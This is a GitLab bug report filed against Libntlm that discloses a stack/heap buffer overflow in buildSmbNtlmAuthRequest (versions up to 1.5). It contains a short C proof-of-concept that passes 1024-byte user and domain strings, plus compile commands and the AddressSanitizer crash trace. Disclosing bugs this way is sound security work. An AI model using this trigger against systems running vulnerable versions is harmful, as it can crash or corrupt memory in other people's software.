Skip to content

GitLab

  • Projects
  • Groups
  • Snippets
  • Help
    • Loading...
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    • Switch to GitLab Next
  • Sign in / Register
L
Libntlm
  • Project overview
    • Project overview
    • Details
    • Activity
    • Releases
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
    • Locked Files
  • Issues 1
    • Issues 1
    • List
    • Boards
    • Labels
    • Service Desk
    • Milestones
    • Iterations
  • Merge Requests 0
    • Merge Requests 0
  • Requirements
    • Requirements
    • List
  • CI / CD
    • CI / CD
    • Pipelines
    • Jobs
    • Schedules
    • Test Cases
  • Operations
    • Operations
    • Incidents
    • Environments
  • Packages & Registries
    • Packages & Registries
    • Container Registry
  • Analytics
    • Analytics
    • CI / CD
    • Code Review
    • Insights
    • Issue
    • Repository
    • Value Stream
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Members
    • Members
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • Simon Josefsson
  • Libntlm
  • Issues
  • #2

Closed
Open
Opened Oct 08, 2019 by Kirin@milin9731

Buffer Overflow Write when libntlm generates NTLM request (version<=1.5)

The buffer in struct tSmbNtlmAuthRequest/tSmbNtlmAuthChallenge/tSmbNtlmAuthResponse has a static size(buffer[1024]), and there is no checking of the length of members in NTLM message, which will lead to buffer overflow write in heap or stack when the program generates a NTLM request.

POC:

#include<ntlm.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
extern void  buildSmbNtlmAuthRequest(tSmbNtlmAuthRequest * request, const char *user, const char *domain);
int main (void)
{
  char user[1024];
  char domain[1024];
  memset(user,'a',1024);
  memset(domain,'b',1024);
  tSmbNtlmAuthRequest request;
  tSmbNtlmAuthChallenge challenge;
  tSmbNtlmAuthResponse response;
  buildSmbNtlmAuthRequest (&request, user, domain);
  return 0;
}

In command line:

clang -fsanitize=address ./poc.c ./.libs/libntlm.a  -o poc
./poc

Output:

=================================================================
==11393==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec3abdca0 at pc 0x0000004830a3 bp 0x7ffec3abd840 sp 0x7ffec3abcff0
READ of size 1025 at 0x7ffec3abdca0 thread T0
    #0 0x4830a2 in __interceptor_strchr.part.35 /root/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:682
    #1 0x4f0a1f in buildSmbNtlmAuthRequest /root/libntlm-1.5/smbutil.c:271
    #2 0x4f00b6 in main (/root/libntlm-1.5/poc+0x4f00b6)
    #3 0x7f3f93f0882f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
    #4 0x41af38 in _start (/root/libntlm-1.5/poc+0x41af38)

Address 0x7ffec3abdca0 is located in stack of thread T0 at offset 1056 in frame
    #0 0x4efe9f in main (/root/libntlm-1.5/poc+0x4efe9f)

  This frame has 3 object(s):
    [32, 1056) 'user'
    [1184, 2208) 'domain' <== Memory access at offset 1056 partially underflows this variable
    [2336, 3396) 'request'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:682 in __interceptor_strchr.part.35
Shadow bytes around the buggy address:
  0x10005874fb40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005874fb90: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x10005874fba0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fbd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005874fbe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==11393==ABORTING
Aborted
Edited Oct 08, 2019 by Kirin
Assignee
Assign to
None
Milestone
None
Assign milestone
Time tracking
None
Due date
None
Reference: jas/libntlm#2